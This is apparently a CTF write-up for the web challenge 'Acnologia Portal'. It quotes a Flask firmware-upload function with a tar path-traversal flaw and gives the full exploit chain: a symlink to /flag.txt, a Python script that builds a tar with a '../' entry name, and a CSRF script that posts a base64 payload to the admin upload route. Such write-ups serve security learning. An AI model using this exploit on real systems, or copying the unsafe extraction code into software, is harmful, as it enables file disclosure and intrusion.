Acnologia Portal
Difficulty: medium
Catigory: web
This is an unintended way and how i solve it during the CTF.
Discovering
Looking at the website page there is a normal login and signup.
After create account found a button to submit a bug.
First guess is XSS to steal admin cookie when reviewing the reported bug but id didn’t work cookies are http only.
report bug form
Code Review
Looking at the code found an interesting function extract_firmware.
It is used to upload and extract tar file on a random generated file at the server static file.
The function save the file using the given filename after joined to tmp without proper checking.
You can menapulate filname or name of files inside tar.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def extract_firmware(file):
tmp = tempfile.gettempdir()
path = os.path.join(tmp, file.filename)
file.save(path)
if tarfile.is_tarfile(path):
tar = tarfile.open(path, 'r:gz')
tar.extractall(tmp)
rand_dir = generate(15)
extractdir = f"{current_app.config['UPLOAD_FOLDER']}/{rand_dir}"
os.makedirs(extractdir, exist_ok=True)
for tarinfo in tar:
name = tarinfo.name
if tarinfo.isreg():
try:
filename = f'{extractdir}/{name}'
os.rename(os.path.join(tmp, name), filename)
continue
except:
pass
os.makedirs(f'{extractdir}/{name}', exist_ok=True)
tar.close()
return True
return False
And this function only called from this route /firmware/upload that require admin previliges.
1
2
3
4
5
6
7
8
9
10
11
12
@api.route('/firmware/upload', methods=['POST'])
@login_required
@is_admin
def firmware_update():
if 'file' not in request.files:
return response('Missing required parameters!'), 401
extraction = extract_firmware(request.files['file'])
if extraction:
return response('Firmware update initialized successfully.')
return response('Something went wrong, please try again!'), 403
Attacking
- Created a
symlinkfile point to a flag.txt at the ‘/’
1
ln -s /flag.txt flagln.txt
- Create a custom tar file using
arcnameparameter to specify the name we want.
1
2
3
4
import tarfile
tar = tarfile.open("payload.tar.gz", "w:gz")
tar.add(name="flagln.txt", arcname="../app/application/static/flagln.txt")
tar.close()
- Convert
payload.tar.gzto base64 - Send CSRF payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<script>
payload = atob('H4sICPrDi2IC/3BheWxvYWQudGFyAO3UzYrCMBSG4ay9il5B/pp6dCG4dDm3ELQ6hVZFI/TyTWdgdCO6cEYY3wfCCSeBnM0XbbSZf8R+UcdVfVC/wn67Va0tw2U/9J31zquiV3/gdEzxkJ9X78lPii41XT1z46osfTUJoqfiKpHxSOHf09rE/X5YbbOMqdltTQ5EapZm3cZNu9WpT8/Iv4gM1Ullr+tP5l3wwUvIf0Hu5/Tn64X/muEZEzyQ/y5+drvT6ua9e+cAAAAAAAAAAAAAAADAC5wBT7HVYAAoAAA=')
u8arr = new Uint8Array(payload.length)
for(let i = 0; i < payload.length; i++) {
u8arr[i] = payload.charCodeAt(i)
}
tar = new File([u8arr], 'payload.tar.gz', {type:"application/gzip"})
var formData = new FormData()
formData.append('file', tar)
var request = new XMLHttpRequest()
request.open("POST", "/api/firmware/upload")
request.send(formData)
</script>
- Open
static/flagln.txtand it reads the flag
flag

flag